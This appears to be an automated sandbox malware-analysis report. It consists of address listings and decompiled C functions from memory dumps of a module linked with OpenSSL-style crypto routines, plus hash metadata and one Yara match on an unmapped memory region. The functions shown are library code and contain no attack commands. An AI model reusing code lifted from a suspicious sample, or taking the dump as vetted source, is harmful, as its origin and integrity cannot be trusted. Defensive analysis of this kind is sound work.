                          0x6d4cf3a8
                          0x6d4cf3aa
                          0x00000000
                          0x6d4cf3b0
                          0x6d4cf3c6
                          0x00000000
                          0x6d4cf3cb
                          0x6d4cf3aa
                          0x6d4cf36e
                          0x6d4cf36e
                          0x6d4cf370
                          0x6d4cf371
                          0x6d4cf372
                          0x6d4cf374
                          0x6d4cf376
                          0x6d4cf379
                          0x6d4cf37b
                          0x00000000
                          0x6d4cf381
                          0x6d4cf381
                          0x6d4cf384
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4cf384
                          0x6d4cf37b
                          0x00000000
                          0x00000000
                          0x6d4cf2e1
                          0x6d4cf2e5
                          0x6d4cf2e7
                          0x6d4cf301
                          0x6d4cf301
                          0x6d4cf306
                          0x6d4cf335
                          0x6d4cf339
                          0x6d4cf341
                          0x6d4cf343
                          0x00000000
                          0x6d4cf349
                          0x6d4cf349
                          0x6d4cf34b
                          0x6d4cf34c
                          0x6d4cf34d
                          0x6d4cf34f
                          0x6d4cf351
                          0x6d4cf354
                          0x6d4cf356
                          0x6d4cf421
                          0x6d4cf423
                          0x00000000
                          0x6d4cf35f
                          0x6d4cf35f
                          0x6d4cf365
                          0x6d4cf365
                          0x6d4cf356
                          0x6d4cf308
                          0x6d4cf315
                          0x6d4cf31d
                          0x6d4cf31f
                          0x6d4cf321
                          0x00000000
                          0x6d4cf327
                          0x6d4cf32d
                          0x00000000
                          0x6d4cf332
                          0x6d4cf321
                          0x6d4cf2e9
                          0x6d4cf2e9
                          0x6d4cf2eb
                          0x6d4cf2ec
                          0x6d4cf2ed
                          0x6d4cf2ef
                          0x6d4cf2f1
                          0x6d4cf2f4
                          0x6d4cf2f6
                          0x6d4cf42b
                          0x6d4cf443
                          0x6d4cf443
                          0x6d4cf449
                          0x6d4cf2fc
                          0x6d4cf2fc
                          0x6d4cf2ff
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4cf2ff
                          0x6d4cf2f6
                          0x00000000
                          0x00000000
                          0x6d4cf2ae
                          0x6d4cf2b0
                          0x00000000
                          0x6d4cf2b2
                          0x6d4cf2b2
                          0x6d4cf2b4
                          0x6d4cf2b6
                          0x00000000
                          0x6d4cf2b8
                          0x6d4cf2b8
                          0x6d4cf2ba
                          0x6d4cf2be
                          0x00000000
                          0x6d4cf2be
                          0x6d4cf2b6
                          0x00000000
                          0x00000000
                          0x6d4cf289
                          0x00000000
                          0x6d4cf28b
                          0x6d4cf28b
                          0x6d4cf290
                          0x00000000
                          0x6d4cf292
                          0x6d4cf292
                          0x6d4cf293
                          0x6d4cf297
                          0x00000000
                          0x6d4cf297
                          0x6d4cf290
                          0x00000000
                          0x00000000
                          0x6d4cf2d5
                          0x6d4cf2da
                          0x6d4cf299
                          0x6d4cf29c
                          0x6d4cf29e
                          0x6d4cf454
                          0x6d4cf464
                          0x6d4cf46c
                          0x6d4cf472
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4cf280
                          0x00000000

                          APIs
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memset
                          • String ID: .\crypto\asn1\tasn_new.c
                          • API String ID: 2102423945-2878120539
                          • Opcode ID: ce0da5f949b2019cb08d4d55d3e0762d6d3bc4ebfe4155f04b0cd46daf7f4212
                          • Instruction ID: 33eee30a39dce972db87baaa25273d6eba8b9af4db288de012472ee5a0d70c30
                          • Opcode Fuzzy Hash: ce0da5f949b2019cb08d4d55d3e0762d6d3bc4ebfe4155f04b0cd46daf7f4212
                          • Instruction Fuzzy Hash: 7F51493D6073036AF720AAA59C42F377798DF81799F20042DFA14A52A1EB5ADC04C6B7
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 42%
                          			E6D4D13A0(char _a4, char _a8, intOrPtr _a16, intOrPtr* _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
                          				char _v0;
                          				void* __edi;
                          				void* _t42;
                          				char _t44;
                          				void* _t47;
                          				void* _t48;
                          				char _t54;
                          				void* _t55;
                          				void* _t60;
                          				void* _t65;
                          				void* _t67;
                          				intOrPtr _t69;
                          				void* _t70;
                          				char _t71;
                          				void* _t77;
                          				intOrPtr _t79;
                          				void* _t80;
                          				void* _t81;
                          				intOrPtr* _t82;
                          				void* _t84;
                          				void* _t85;
                          				void* _t86;
                          				intOrPtr* _t87;
                          				char* _t88;
                          				intOrPtr _t89;
                          				intOrPtr _t90;
                          				void* _t92;
                          				void* _t93;
                          				void* _t96;
                          				void* _t98;
                          				void* _t99;
                          				void* _t101;
                          
                          				E6D51FEE0(0xc);
                          				_t89 = _a16;
                          				_v0 = 0;
                          				if(_a32 == 0) {
                          					L17:
                          					_t85 = 0;
                          					_t42 = E6D4C54B0(_t89);
                          					_t93 = _t92 + 4;
                          					if(_t42 > 0) {
                          						_t79 = _a36;
                          						_t90 = _a28;
                          						do {
                          							_t44 = E6D4C55D0(_t89, _t85);
                          							_push(_t79);
                          							_push(0xffffffff);
                          							_push(_t90);
                          							_push(_a20);
                          							_a4 = _t44;
                          							_push( &_a4);
                          							E6D4D0D20();
                          							_t85 = _t85 + 1;
                          							_t47 = E6D4C54B0(_t89);
                          							_t93 = _t93 + 0x20;
                          						} while (_t85 < _t47);
                          					}
                          					return 1;
                          				} else {
                          					_t48 = E6D4C54B0(_t89);
                          					_t92 = _t92 + 4;
                          					if(_t48 < 2) {
                          						goto L17;
                          					} else {
                          						_t91 = E6D4C2430(E6D4C54B0(_t89) + _t49 * 2 << 2, ".\\crypto\\asn1\\tasn_enc.c", 0x1ba);
                          						_t96 = _t92 + 0x10;
                          						if(_t52 == 0) {
                          							L5:
                          							return 0;
                          						} else {
                          							_t54 = E6D4C2430(_a24, ".\\crypto\\asn1\\tasn_enc.c", 0x1bd);
                          							_t98 = _t96 + 0xc;
                          							_a8 = _t54;
                          							if(_t54 != 0) {
                          								_v0 = _t54;
                          								_t80 = 0;
                          								_t55 = E6D4C54B0(_t89);
                          								_t99 = _t98 + 4;
                          								if(_t55 > 0) {
                          									_t9 =  &_a8; // 0x8
                          									_t88 = _t9;
                          									do {
                          										_t71 = E6D4C55D0(_t89, _t80);
                          										_push(_a36);
                          										_a4 = _t71;
                          										_push(0xffffffff);
                          										_push(_a28);
                          										 *((intOrPtr*)(_t88 - 8)) = _v0;
                          										_push( &_v0);
                          										_push( &_a4);
                          										 *((intOrPtr*)(_t88 - 4)) = E6D4D0D20();
                          										_t88 = _t88 + 0xc;
                          										_t80 = _t80 + 1;
                          										 *((intOrPtr*)(_t88 - 0xc)) = _a4;
                          										_t77 = E6D4C54B0(_t89);
                          										_t99 = _t99 + 0x20;
                          									} while (_t80 < _t77);
                          								}
                          								E6D521220(_t84, _t91, E6D4C54B0(_t89), 0xc, E6D4D1890);
                          								_t81 = 0;
                          								_v0 =  *_a20;
                          								_t60 = E6D4C54B0(_t89);
                          								_t101 = _t99 + 0x18;
                          								if(_t60 > 0) {
                          									_t23 =  &_a4; // 0x4
                          									_t87 = _t23;
                          									do {
                          										E6D51F530(_v0,  *((intOrPtr*)(_t87 - 4)),  *_t87);
                          										_t69 =  *_t87;
                          										_t87 = _t87 + 0xc;
                          										_v0 = _v0 + _t69;
                          										_t81 = _t81 + 1;
                          										_t70 = E6D4C54B0(_t89);
                          										_t101 = _t101 + 0x10;
                          									} while (_t81 < _t70);
                          								}
                          								 *_a20 = _v0;
                          								if(_a32 == 2) {
                          									_t86 = 0;
                          									_t65 = E6D4C54B0(_t89);
                          									_t101 = _t101 + 4;
                          									if(_t65 > 0) {
                          										_t32 =  &_a8; // 0x8
                          										_t82 = _t32;
                          										do {
                          											E6D4C5550(_t89, _t86,  *_t82);
                          											_t86 = _t86 + 1;
                          											_t82 = _t82 + 0xc;
                          											_t67 = E6D4C54B0(_t89);
                          											_t101 = _t101 + 0x10;
                          										} while (_t86 < _t67);
                          									}
                          								}
                          								E6D4C23B0(_t91);
                          								E6D4C23B0(_a8);
                          								return 1;
                          							} else {
                          								E6D4C23B0(_t91);
                          								_t96 = _t98 + 4;
                          								goto L5;
                          							}
                          						}
                          					}
                          				}
                          			}



































                          0x6d4d13a5
                          0x6d4d13b2
                          0x6d4d13b7
                          0x6d4d13bf
                          0x6d4d1541
                          0x6d4d1542
                          0x6d4d1544
                          0x6d4d1549
                          0x6d4d154e
                          0x6d4d1550
                          0x6d4d1554
                          0x6d4d1558
                          0x6d4d155a
                          0x6d4d155f
                          0x6d4d1560
                          0x6d4d1562
                          0x6d4d1563
                          0x6d4d1567
                          0x6d4d156f
                          0x6d4d1570
                          0x6d4d1576
                          0x6d4d1577
                          0x6d4d157c
                          0x6d4d157f
                          0x6d4d1558
                          0x6d4d158f
                          0x6d4d13c5
                          0x6d4d13c6
                          0x6d4d13cb
                          0x6d4d13d1
                          0x00000000
                          0x6d4d13d7
                          0x6d4d13f6
                          0x6d4d13f8
                          0x6d4d13fd
                          0x6d4d1429
                          0x6d4d142f
                          0x6d4d13ff
                          0x6d4d140d
                          0x6d4d1412
                          0x6d4d1415
                          0x6d4d141b
                          0x6d4d1431
                          0x6d4d1435
                          0x6d4d1437
                          0x6d4d143c
                          0x6d4d1441
                          0x6d4d1443
                          0x6d4d1443
                          0x6d4d1446
                          0x6d4d1448
                          0x6d4d144d
                          0x6d4d1451
                          0x6d4d1459
                          0x6d4d145b
                          0x6d4d145f
                          0x6d4d1466
                          0x6d4d146b
                          0x6d4d1471
                          0x6d4d1474
                          0x6d4d147b
                          0x6d4d147c
                          0x6d4d1480
                          0x6d4d1485
                          0x6d4d1488
                          0x6d4d1446
                          0x6d4d149e
                          0x6d4d14a7
                          0x6d4d14ac
                          0x6d4d14b0
                          0x6d4d14b5
                          0x6d4d14ba
                          0x6d4d14bc
                          0x6d4d14bc
                          0x6d4d14c0
                          0x6d4d14c9
                          0x6d4d14ce
                          0x6d4d14d0
                          0x6d4d14d3
                          0x6d4d14d7
                          0x6d4d14d9
                          0x6d4d14de
                          0x6d4d14e1
                          0x6d4d14c0
                          0x6d4d14f2
                          0x6d4d14f4
                          0x6d4d14f7
                          0x6d4d14f9
                          0x6d4d14fe
                          0x6d4d1503
                          0x6d4d1505
                          0x6d4d1505
                          0x6d4d1508
                          0x6d4d150c
                          0x6d4d1512
                          0x6d4d1513
                          0x6d4d1516
                          0x6d4d151b
                          0x6d4d151e
                          0x6d4d1508
                          0x6d4d1503
                          0x6d4d1523
                          0x6d4d152c
                          0x6d4d1540
                          0x6d4d141d
                          0x6d4d141e
                          0x6d4d1423
                          0x00000000
                          0x6d4d1423
                          0x6d4d141b
                          0x6d4d13fd
                          0x6d4d13d1

                          APIs
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memmove
                          • String ID: .\crypto\asn1\tasn_enc.c$?CLm
                          • API String ID: 4104443479-561225615
                          • Opcode ID: 93a5d72b4b89b9b5e2d9846390570c9463e6e585e85815e998a25b804a0a5ba2
                          • Instruction ID: ba05be80bf55d695f699db0fe910cf331d89d37bf7a4915556883f6c89e1fc50
                          • Opcode Fuzzy Hash: 93a5d72b4b89b9b5e2d9846390570c9463e6e585e85815e998a25b804a0a5ba2
                          • Instruction Fuzzy Hash: 5751D47A5092056BD300CF64AC80EAF73A8AF8435DF810529FE09A2211F739EE1587D7
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID:
                          • String ID: \\?\c:\windows\
                          • API String ID: 0-2558258126
                          • Opcode ID: d9daf90229955b00f33cbfe640262a08886597c554d8d563b0bc14fc273e7de2
                          • Instruction ID: 7d80f849c7a26800b0eaa57cb360959d75571c0153c9783c537f83864129ba75
                          • Opcode Fuzzy Hash: d9daf90229955b00f33cbfe640262a08886597c554d8d563b0bc14fc273e7de2
                          • Instruction Fuzzy Hash: 2731B472A58309BAEF12EA74DC65FEA37EDDF04314F0044A6E90AE5080EB75D5548BE4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 96%
                          			E6D4D1940(void* __ebx, void* __edx, intOrPtr* _a4, intOrPtr _a8) {
                          				void* __edi;
                          				intOrPtr _t17;
                          				intOrPtr _t18;
                          				signed int _t36;
                          				intOrPtr _t44;
                          				intOrPtr* _t45;
                          				intOrPtr _t46;
                          
                          				_t46 = _a8;
                          				_t45 = _a4;
                          				_t39 =  *_t45;
                          				if( *_t45 >= _t46) {
                          					L3:
                          					 *_t45 = _t46;
                          					return _t46;
                          				} else {
                          					if( *(_t45 + 8) < _t46) {
                          						__eflags = _t46 - 0x5ffffffc;
                          						if(__eflags <= 0) {
                          							_t17 =  *((intOrPtr*)(_t45 + 4));
                          							_push(__ebx);
                          							_t36 = 0xaaaaaaab * (_t46 + 3) >> 0x20 >> 1 << 2;
                          							__eflags = _t17;
                          							if(_t17 != 0) {
                          								_t18 = E6D4C24A0(_t17, _t36, ".\\crypto\\buffer\\buffer.c", 0x78);
                          							} else {
                          								_t18 = E6D4C2430(_t36, ".\\crypto\\buffer\\buffer.c", 0x76);
                          							}
                          							_t44 = _t18;
                          							__eflags = _t44;
                          							if(__eflags != 0) {
                          								__eflags = _t46 -  *_t45;
                          								 *((intOrPtr*)(_t45 + 4)) = _t44;
                          								 *(_t45 + 8) = _t36;
                          								E6D51FE40( *_t45 + _t44, 0, _t46 -  *_t45);
                          								 *_t45 = _t46;
                          								return _t46;
                          							} else {
                          								E6D4C3670(_t36, _t44, _t45, __eflags, 7, 0x64, 0x41, ".\\crypto\\buffer\\buffer.c", 0x7a);
                          								__eflags = 0;
                          								return 0;
                          							}
                          						} else {
                          							E6D4C3670(__ebx, __edx, _t45, __eflags, 7, 0x64, 0x41, ".\\crypto\\buffer\\buffer.c", 0x71);
                          							__eflags = 0;
                          							return 0;
                          						}
                          					} else {
                          						E6D51FE40( *((intOrPtr*)(_t45 + 4)) + _t39, 0, _t46 - _t39);
                          						goto L3;
                          					}
                          				}
                          			}










                          0x6d4d1941
                          0x6d4d1946
                          0x6d4d194a
                          0x6d4d194e
                          0x6d4d196a
                          0x6d4d196a
                          0x6d4d1970
                          0x6d4d1950
                          0x6d4d1953
                          0x6d4d1971
                          0x6d4d1977
                          0x6d4d199d
                          0x6d4d19a0
                          0x6d4d19a5
                          0x6d4d19a8
                          0x6d4d19aa
                          0x6d4d19c7
                          0x6d4d19ac
                          0x6d4d19b4
                          0x6d4d19b9
                          0x6d4d19cf
                          0x6d4d19d1
                          0x6d4d19d3
                          0x6d4d19f6
                          0x6d4d19f8
                          0x6d4d1a01
                          0x6d4d1a05
                          0x6d4d1a0d
                          0x6d4d1a14
                          0x6d4d19d5
                          0x6d4d19e2
                          0x6d4d19ea
                          0x6d4d19f1
                          0x6d4d19f1
                          0x6d4d1979
                          0x6d4d1986
                          0x6d4d198e
                          0x6d4d1992
                          0x6d4d1992
                          0x6d4d1955
                          0x6d4d1962
                          0x00000000
                          0x6d4d1967
                          0x6d4d1953

                          APIs
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memset
                          • String ID: .\crypto\buffer\buffer.c
                          • API String ID: 2102423945-294840303
                          • Opcode ID: 2da0d4789f61d8f76eeeb95943ad3df67e707311dbf4ed5900018599da9476f8
                          • Instruction ID: 4cf53fc6452728a45fbfdbe2d0c38beede77c877fd011785f341e8b334e1109c
                          • Opcode Fuzzy Hash: 2da0d4789f61d8f76eeeb95943ad3df67e707311dbf4ed5900018599da9476f8
                          • Instruction Fuzzy Hash: FC21D7B6F482127BE2549E2CBC45F55B399EB84B18F108139FB0CD76C1D6A0AC11C3D2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E6D4C3820(void* __ebp, intOrPtr* _a4, signed int _a8) {
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				intOrPtr _t15;
                          				signed int _t16;
                          				signed int _t22;
                          				signed int _t26;
                          				intOrPtr* _t32;
                          				intOrPtr _t36;
                          				void* _t42;
                          				void* _t43;
                          				void* _t48;
                          
                          				_t42 = __ebp;
                          				_t32 = _a4;
                          				_t15 =  *_t32;
                          				_t33 =  *((intOrPtr*)(_t15 + 0x28));
                          				if( *((intOrPtr*)(_t15 + 0x28)) != 0) {
                          					_a4 = _t32;
                          					goto __edx;
                          				}
                          				_t16 =  *(_t15 + 0x10);
                          				if((_t16 & 0x00001000) == 0) {
                          					L6:
                          					return _t16 | 0xffffffff;
                          				} else {
                          					_t16 = _t16 & 0x000f0007;
                          					_t48 = _t16 - 0x10001;
                          					if(_t48 > 0) {
                          						__eflags = _t16 - 0x10002;
                          						if(_t16 == 0x10002) {
                          							return 1;
                          						} else {
                          							goto L8;
                          						}
                          					} else {
                          						if(_t48 == 0) {
                          							goto L6;
                          						} else {
                          							_t16 = _t16 + 0xfffffffa;
                          							if(_t16 > 1) {
                          								L8:
                          								_a4 = _t32;
                          								_t39 = 0;
                          								__eflags = _a8;
                          								if(_a8 == 0) {
                          									L17:
                          									return _t39;
                          								} else {
                          									_t30 = _a4;
                          									_t36 =  *((intOrPtr*)( *_a4 + 0xc));
                          									__eflags = _t36 - 0x10;
                          									if(__eflags > 0) {
                          										E6D4C2B60(_t30, _t32, _t33, _t36, 0, _t42, __eflags, ".\\crypto\\evp\\evp_lib.c", 0x83, "l <= sizeof(c->iv)");
                          										_t43 = _t43 + 0xc;
                          									}
                          									_t22 = E6D4C4290(_t30, _t36, _t39, _a8, _t30 + 0x10, _t36);
                          									_t39 = _t22;
                          									__eflags = _t39 - _t36;
                          									if(_t39 == _t36) {
                          										__eflags = _t39;
                          										if(_t39 > 0) {
                          											E6D51F530(_t30 + 0x20, _t30 + 0x10, _t36);
                          										}
                          										goto L17;
                          									} else {
                          										_t26 = _t22 | 0xffffffff;
                          										__eflags = _t26;
                          										return _t26;
                          									}
                          								}
                          							} else {
                          								goto L6;
                          							}
                          						}
                          					}
                          				}
                          			}















                          0x6d4c3820
                          0x6d4c3820
                          0x6d4c3824
                          0x6d4c3826
                          0x6d4c382b
                          0x6d4c382d
                          0x6d4c3831
                          0x6d4c3831
                          0x6d4c3833
                          0x6d4c383b
                          0x6d4c3853
                          0x6d4c3856
                          0x6d4c383d
                          0x6d4c383d
                          0x6d4c3842
                          0x6d4c3847
                          0x6d4c3857
                          0x6d4c385c
                          0x6d4c386c
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c3849
                          0x6d4c3849
                          0x00000000
                          0x6d4c384b
                          0x6d4c384b
                          0x6d4c3851
                          0x6d4c385e
                          0x6d4c385e
                          0x6d4c3872
                          0x6d4c3875
                          0x6d4c3879
                          0x6d4c38d3
                          0x6d4c38d8
                          0x6d4c387b
                          0x6d4c387b
                          0x6d4c3881
                          0x6d4c3884
                          0x6d4c3887
                          0x6d4c3898
                          0x6d4c389d
                          0x6d4c389d
                          0x6d4c38a9
                          0x6d4c38ae
                          0x6d4c38b3
                          0x6d4c38b5
                          0x6d4c38be
                          0x6d4c38c0
                          0x6d4c38cb
                          0x6d4c38d0
                          0x00000000
                          0x6d4c38b7
                          0x6d4c38b9
                          0x6d4c38b9
                          0x6d4c38bd
                          0x6d4c38bd
                          0x6d4c38b5
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c3851
                          0x6d4c3849
                          0x6d4c3847

                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID: .\crypto\evp\evp_lib.c$l <= sizeof(c->iv)
                          • API String ID: 0-1790184000
                          • Opcode ID: 3e66e54bfba1d4b5eebc0c36260392d585388cb12c448501dd87aa0ad81c2f1f
                          • Instruction ID: e37a2db6a2e9b5630c09fa9c12400056c2224f05e42a8a4fadeca5da4bbeeb41
                          • Opcode Fuzzy Hash: 3e66e54bfba1d4b5eebc0c36260392d585388cb12c448501dd87aa0ad81c2f1f
                          • Instruction Fuzzy Hash: D511E97A9042155BD720CFD8E884FA673D4EB84B61B214A69F9A4C7391D361DC4087E2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E6D4CA590(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                          				void* __edi;
                          				void* _t10;
                          				void* _t17;
                          				void* _t19;
                          
                          				_t17 = __edx;
                          				_t22 = _a4;
                          				if( *((intOrPtr*)(_a4 + 0xc)) == 0) {
                          					L5:
                          					__eflags = 0;
                          					return 0;
                          				} else {
                          					_t8 = _a8;
                          					if(_a8 == 0) {
                          						goto L5;
                          					} else {
                          						_t19 = E6D522460(_t8, 1, _a12,  *((intOrPtr*)(_t22 + 0x20)));
                          						_t10 = E6D521E49( *((intOrPtr*)(_t22 + 0x20)));
                          						_t28 = _t10;
                          						if(_t10 == 0) {
                          							return _t19;
                          						} else {
                          							E6D4C3670(__ebx, _t17, _t19, _t28, 2, 0xb, GetLastError(), ".\\crypto\\bio\\bss_file.c", 0xff);
                          							return E6D4C3670(__ebx, _t17, _t19, _t28, 0x20, 0x82, 2, ".\\crypto\\bio\\bss_file.c", 0x100) | 0xffffffff;
                          						}
                          					}
                          				}
                          			}







                          0x6d4ca590
                          0x6d4ca591
                          0x6d4ca599
                          0x6d4ca604
                          0x6d4ca604
                          0x6d4ca607
                          0x6d4ca59b
                          0x6d4ca59b
                          0x6d4ca5a1
                          0x00000000
                          0x6d4ca5a3
                          0x6d4ca5b6
                          0x6d4ca5b8
                          0x6d4ca5c0
                          0x6d4ca5c2
                          0x6d4ca603
                          0x6d4ca5c4
                          0x6d4ca5d9
                          0x6d4ca5fe
                          0x6d4ca5fe
                          0x6d4ca5c2
                          0x6d4ca5a1

                          APIs
                          • __fread_nolock.LIBCMT ref: 6D4CA5AE
                          • GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000FF), ref: 6D4CA5CE
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ErrorLast__fread_nolock
                          • String ID: .\crypto\bio\bss_file.c
                          • API String ID: 3734711595-2413717009
                          • Opcode ID: e7a2a724fd4eef5566415a346d47a13bf7988c1ce17ad10b0c69877d4bf83a29
                          • Instruction ID: bc687b8c6aee8cf4ec1afd412ab5e52a30c8b535fd6ed31b4ad2ff6be510650d
                          • Opcode Fuzzy Hash: e7a2a724fd4eef5566415a346d47a13bf7988c1ce17ad10b0c69877d4bf83a29
                          • Instruction Fuzzy Hash: F8F02B3974830136EB305A756C0AFB73794AFC5724F098428F394E56D1DBB4DC858663
                          Uniqueness

                          Uniqueness Score: -1.00%